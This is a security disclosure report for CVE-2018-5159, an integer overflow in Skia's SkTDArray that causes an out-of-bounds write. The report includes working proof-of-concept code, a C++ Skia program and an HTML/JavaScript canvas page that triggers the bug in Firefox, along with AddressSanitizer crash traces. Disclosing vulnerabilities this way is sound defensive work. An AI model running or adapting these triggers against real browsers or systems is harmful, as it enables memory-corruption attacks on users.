Skia and Firefox: Integer overflow in SkTDArray leading to out-of-bounds write 

CVE-2018-5159


Skia bug report: <a href="https://bugs.chromium.org/p/skia/issues/detail?id=7674" title="" class="" rel="nofollow">https://bugs.chromium.org/p/skia/issues/detail?id=7674</a>
Mozilla bug report: <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1441941" title="" class="" rel="nofollow">https://bugzilla.mozilla.org/show_bug.cgi?id=1441941</a>


In Skia, SkTDArray stores length (fCount) and capacity (fReserve) as 32-bit ints and does not perform any integer overflow checks. There are a couple of places where an integer overflow could occur:

(1) <a href="https://cs.chromium.org/chromium/src/third_party/skia/include/private/SkTDArray.h?rcl=a93a14a99816d25b773f0b12868143702baf44bf&l=369" title="" class="" rel="nofollow">https://cs.chromium.org/chromium/src/third_party/skia/include/private/SkTDArray.h?rcl=a93a14a99816d25b773f0b12868143702baf44bf&l=369</a>
(2) <a href="https://cs.chromium.org/chromium/src/third_party/skia/include/private/SkTDArray.h?rcl=a93a14a99816d25b773f0b12868143702baf44bf&l=382" title="" class="" rel="nofollow">https://cs.chromium.org/chromium/src/third_party/skia/include/private/SkTDArray.h?rcl=a93a14a99816d25b773f0b12868143702baf44bf&l=382</a>
(3) <a href="https://cs.chromium.org/chromium/src/third_party/skia/include/private/SkTDArray.h?rcl=a93a14a99816d25b773f0b12868143702baf44bf&l=383" title="" class="" rel="nofollow">https://cs.chromium.org/chromium/src/third_party/skia/include/private/SkTDArray.h?rcl=a93a14a99816d25b773f0b12868143702baf44bf&l=383</a>

and possibly others

In addition, on 32-bit systems, multiplication integer overflows could occur in several places where expressions such as

fReserve * sizeof(T)
sizeof(T) * count

etc. are used.

An integer overflow in (2) above is especially dangerous as it will cause too little memory to be allocated to hold the array which will cause a out-of-bounds write when e.g. appending an element.

I have successfully demonstrated the issue by causing an overflow in fPts array in SkPathMeasure (<a href="https://cs.chromium.org/chromium/src/third_party/skia/include/core/SkPathMeasure.h?l=104&rcl=23d97760248300b7aec213a36f8b0485857240b5" title="" class="" rel="nofollow">https://cs.chromium.org/chromium/src/third_party/skia/include/core/SkPathMeasure.h?l=104&rcl=23d97760248300b7aec213a36f8b0485857240b5</a>) which is used when rendering dashed paths.

The PoC requires a lot of memory (My estimate is 16+1 GB for storing the path, additional 16GB for the SkTDArray we are corrupting), however there might be less demanding paths for triggering SkTDArray integer overflows.

PoC program for Skia

=================================================================

#include <stdio.h>

#include "SkCanvas.h"
#include "SkPath.h"
#include "SkGradientShader.h"
#include "SkBitmap.h"
#include "SkDashPathEffect.h"

int main (int argc, char * const argv[]) {

    SkBitmap bitmap;
    bitmap.allocN32Pixels(500, 500);

    //Create Canvas
    SkCanvas canvas(bitmap);

    SkPaint p;
    p.setAntiAlias(false);
    float intervals[] = { 0, 10e9f };
    p.setStyle(SkPaint::kStroke_Style);
    p.setPathEffect(SkDashPathEffect::Make(intervals, SK_ARRAY_COUNT(intervals), 0));

    SkPath path;
    
    unsigned quadraticarr[] = {13, 68, 258, 1053, 1323, 2608, 10018, 15668, 59838, 557493, 696873, 871098, 4153813, 15845608, 48357008, 118059138, 288230353, 360287948, 562949933, 703687423, 1099511613, 0};
    path.moveTo(0, 0);
    unsigned numpoints = 1;
    unsigned i = 1;
    unsigned qaindex = 0;
    while(numpoints < 2147483647) {
      if(numpoints == quadraticarr[qaindex]) {
        path.quadTo(i, 0, i, 0);
        qaindex++;
        numpoints += 2;
      } else {
        path.lineTo(i, 0);
        numpoints += 1;
      }
      i++;
      if(i == 1000000) {
        path.moveTo(0, 0);
        numpoints += 1;
        i = 1;
      }
    }

    printf("done building path\n");

    canvas.drawPath(path, p);

    return 0;
}

=================================================================

ASan output:

ASAN:DEADLYSIGNAL
=================================================================
==39779==ERROR: AddressSanitizer: SEGV on unknown address 0x7fefc321c7d8 (pc 0x7ff2dac9cf66 bp 0x7ffcb5a46540 sp 0x7ffcb5a45cc8 T0)
    #0 0x7ff2dac9cf65  (/lib/x86_64-linux-gnu/libc.so.6+0x83f65)
    #1 0x7bb66c in __asan_memcpy (/usr/local/google/home/ifratric/p0/skia/skia/out/asan/SkiaSDLExample+0x7bb66c)
    #2 0xcb2a33 in SkTDArray<SkPoint>::append(int, SkPoint const*) /usr/local/google/home/ifratric/p0/skia/skia/out/asan/../../include/private/../private/SkTDArray.h:184:17
    #3 0xcb8b9a in SkPathMeasure::buildSegments() /usr/local/google/home/ifratric/p0/skia/skia/out/asan/../../src/core/SkPathMeasure.cpp:341:21
    #4 0xcbb5f4 in SkPathMeasure::getLength() /usr/local/google/home/ifratric/p0/skia/skia/out/asan/../../src/core/SkPathMeasure.cpp:513:9
    #5 0xcbb5f4 in SkPathMeasure::nextContour() /usr/local/google/home/ifratric/p0/skia/skia/out/asan/../../src/core/SkPathMeasure.cpp:688
    #6 0x1805c14 in SkDashPath::InternalFilter(SkPath*, SkPath const&, SkStrokeRec*, SkRect const*, float const*, int, float, int, float, SkDashPath::StrokeRecApplication) /usr/local/google/home/ifratric/p0/skia/skia/out/asan/../../src/utils/SkDashPath.cpp:482:14
    #7 0xe9cf60 in SkDashImpl::filterPath(SkPath*, SkPath const&, SkStrokeRec*, SkRect const*) const /usr/local/google/home/ifratric/p0/skia/skia/out/asan/../../src/effects/SkDashPathEffect.cpp:40:12
    #8 0xc8fbef in SkPaint::getFillPath(SkPath const&, SkPath*, SkRect const*, float) const /usr/local/google/home/ifratric/p0/skia/skia/out/asan/../../src/core/SkPaint.cpp:1500:24
    #9 0xbdbc26 in SkDraw::drawPath(SkPath const&, SkPaint const&, SkMatrix const*, bool, bool, SkBlitter*, SkInitOnceData*) const /usr/local/google/home/ifratric/p0/skia/skia/out/asan/../../src/core/SkDraw.cpp:1120:18
    #10 0x169b16e in SkDraw::drawPath(SkPath const&, SkPaint const&, SkMatrix const*, bool) const /usr/local/google/home/ifratric/p0/skia/skia/out/asan/../../src/core/SkDraw.h:58:9
    #11 0x169b16e in SkBitmapDevice::drawPath(SkPath const&, SkPaint const&, SkMatrix const*, bool) /usr/local/google/home/ifratric/p0/skia/skia/out/asan/../../src/core/SkBitmapDevice.cpp:226
    #12 0xb748d1 in SkCanvas::onDrawPath(SkPath const&, SkPaint const&) /usr/local/google/home/ifratric/p0/skia/skia/out/asan/../../src/core/SkCanvas.cpp:2167:9
    #13 0xb6b01a in SkCanvas::drawPath(SkPath const&, SkPaint const&) /usr/local/google/home/ifratric/p0/skia/skia/out/asan/../../src/core/SkCanvas.cpp:1757:5
    #14 0x8031dc in main /usr/local/google/home/ifratric/p0/skia/skia/out/asan/../../example/SkiaSDLExample.cpp:49:5
    #15 0x7ff2dac392b0 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x202b0)
    #16 0x733519 in _start (/usr/local/google/home/ifratric/p0/skia/skia/out/asan/SkiaSDLExample+0x733519)

The issue can also be triggered via the web in Mozilla Firefox

PoC for Mozilla Firefox on Linux (I used Firefox ASan build from <a href="https://developer.mozilla.org/en-US/docs/Mozilla/Testing/Firefox_and_Address_Sanitizer" title="" class="" rel="nofollow">https://developer.mozilla.org/en-US/docs/Mozilla/Testing/Firefox_and_Address_Sanitizer</a>)

=================================================================

<canvas id="canvas" width="64" height="64"></canvas>
<br>
<button onclick="go()">go</button>
<script>
var canvas = document.getElementById("canvas");
var ctx = canvas.getContext("2d");

function go() {
  ctx.beginPath();

  ctx.mozImageSmoothingEnabled = false;
  ctx.webkitImageSmoothingEnabled = false;
  ctx.msImageSmoothingEnabled = false;
  ctx.imageSmoothingEnabled = false;

  linedasharr = [0, 1e+37];
  ctx.setLineDash(linedasharr);

  quadraticarr = [13, 68, 258, 1053, 1323, 2608, 10018, 15668, 59838, 557493, 696873, 871098, 4153813, 15845608, 48357008, 118059138, 288230353, 360287948, 562949933, 703687423, 1099511613];
  ctx.moveTo(0, 0);
  numpoints = 1;
  i = 1;
  qaindex = 0;
  while(numpoints < 2147483647) {
    if(numpoints == quadraticarr[qaindex]) {
      ctx.quadraticCurveTo(i, 0, i, 0);
      qaindex++;
      numpoints += 2;
    } else {
      ctx.lineTo(i, 0);
      numpoints += 1;
    }
    i++;
    if(i == 1000000) {
      ctx.moveTo(0, 0);
      numpoints += 1;
      i = 1;
    }
  }

  alert("done building path");

  ctx.stroke();

  alert("exploit failed");
}

</script>

=================================================================

ASan output:

AddressSanitizer:DEADLYSIGNAL
=================================================================
==37732==ERROR: AddressSanitizer: SEGV on unknown address 0x7ff86d20e7d8 (pc 0x7ff7c1233701 bp 0x7fffd19dd5f0 sp 0x7fffd19dd420 T0)
==37732==The signal is caused by a WRITE memory access.
    #0 0x7ff7c1233700 in append /builds/worker/workspace/build/src/gfx/skia/skia/include/core/../private/SkTDArray.h:184:17
    #1 0x7ff7c1233700 in SkPathMeasure::buildSegments() /builds/worker/workspace/build/src/gfx/skia/skia/src/core/SkPathMeasure.cpp:342
    #2 0x7ff7c1235be1 in getLength /builds/worker/workspace/build/src/gfx/skia/skia/src/core/SkPathMeasure.cpp:516:15
    #3 0x7ff7c1235be1 in SkPathMeasure::nextContour() /builds/worker/workspace/build/src/gfx/skia/skia/src/core/SkPathMeasure.cpp:688
    #4 0x7ff7c112905e in SkDashPath::InternalFilter(SkPath*, SkPath const&, SkStrokeRec*, SkRect const*, float const*, int, float, int, float, SkDashPath::StrokeRecApplication) /builds/worker/workspace/build/src/gfx/skia/skia/src/utils/SkDashPath.cpp:307:19
    #5 0x7ff7c0bf9ed0 in SkDashPathEffect::filterPath(SkPath*, SkPath const&, SkStrokeRec*, SkRect const*) const /builds/worker/workspace/build/src/gfx/skia/skia/src/effects/SkDashPathEffect.cpp:40:12
    #6 0x7ff7c1210ed6 in SkPaint::getFillPath(SkPath const&, SkPath*, SkRect const*, float) const /builds/worker/workspace/build/src/gfx/skia/skia/src/core/SkPaint.cpp:1969:37
    #7 0x7ff7c0ec9156 in SkDraw::drawPath(SkPath const&, SkPaint const&, SkMatrix const*, bool, bool, SkBlitter*) const /builds/worker/workspace/build/src/gfx/skia/skia/src/core/SkDraw.cpp:1141:25
    #8 0x7ff7c0b8de4b in drawPath /builds/worker/workspace/build/src/gfx/skia/skia/src/core/SkDraw.h:55:15
    #9 0x7ff7c0b8de4b in SkBitmapDevice::drawPath(SkPath const&, SkPaint const&, SkMatrix const*, bool) /builds/worker/workspace/build/src/gfx/skia/skia/src/core/SkBitmapDevice.cpp:235
    #10 0x7ff7c0bbc691 in SkCanvas::onDrawPath(SkPath const&, SkPaint const&) /builds/worker/workspace/build/src/gfx/skia/skia/src/core/SkCanvas.cpp:2227:23
    #11 0x7ff7b86965b4 in mozilla::gfx::DrawTargetSkia::Stroke(mozilla::gfx::Path const*, mozilla::gfx::Pattern const&, mozilla::gfx::StrokeOptions const&, mozilla::gfx::DrawOptions const&) /builds/worker/workspace/build/src/gfx/2d/DrawTargetSkia.cpp:829:12
    #12 0x7ff7bbd34dcc in mozilla::dom::CanvasRenderingContext2D::Stroke() /builds/worker/workspace/build/src/dom/canvas/CanvasRenderingContext2D.cpp:3562:11
    #13 0x7ff7ba9b0701 in mozilla::dom::CanvasRenderingContext2DBinding::stroke(JSContext*, JS::Handle<JSObject*>, mozilla::dom::CanvasRenderingContext2D*, JSJitMethodCallArgs const&) /builds/worker/workspace/build/src/obj-firefox/dom/bindings/CanvasRenderingContext2DBinding.cpp:3138:13
    #14 0x7ff7bbc3b4d1 in mozilla::dom::GenericBindingMethod(JSContext*, unsigned int, JS::Value*) /builds/worker/workspace/build/src/dom/bindings/BindingUtils.cpp:3031:13
    #15 0x7ff7c26ae3b8 in CallJSNative /builds/worker/workspace/build/src/js/src/vm/JSContext-inl.h:290:15
    #16 0x7ff7c26ae3b8 in js::InternalCallOrConstruct(JSContext*, JS::CallArgs const&, js::MaybeConstruct) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:467
    #17 0x7ff7c28ecd17 in js::jit::DoCallFallback(JSContext*, js::jit::BaselineFrame*, js::jit::ICCall_Fallback*, unsigned int, JS::Value*, JS::MutableHandle<JS::Value>) /builds/worker/workspace/build/src/js/src/jit/BaselineIC.cpp:2383:14
    #18 0x1a432b56061a  (<unknown module>)



This bug is subject to a 90 day disclosure deadline. After 90 days elapse
or a patch has been made broadly available, the bug report will become
visible to the public.




Found by: ifratric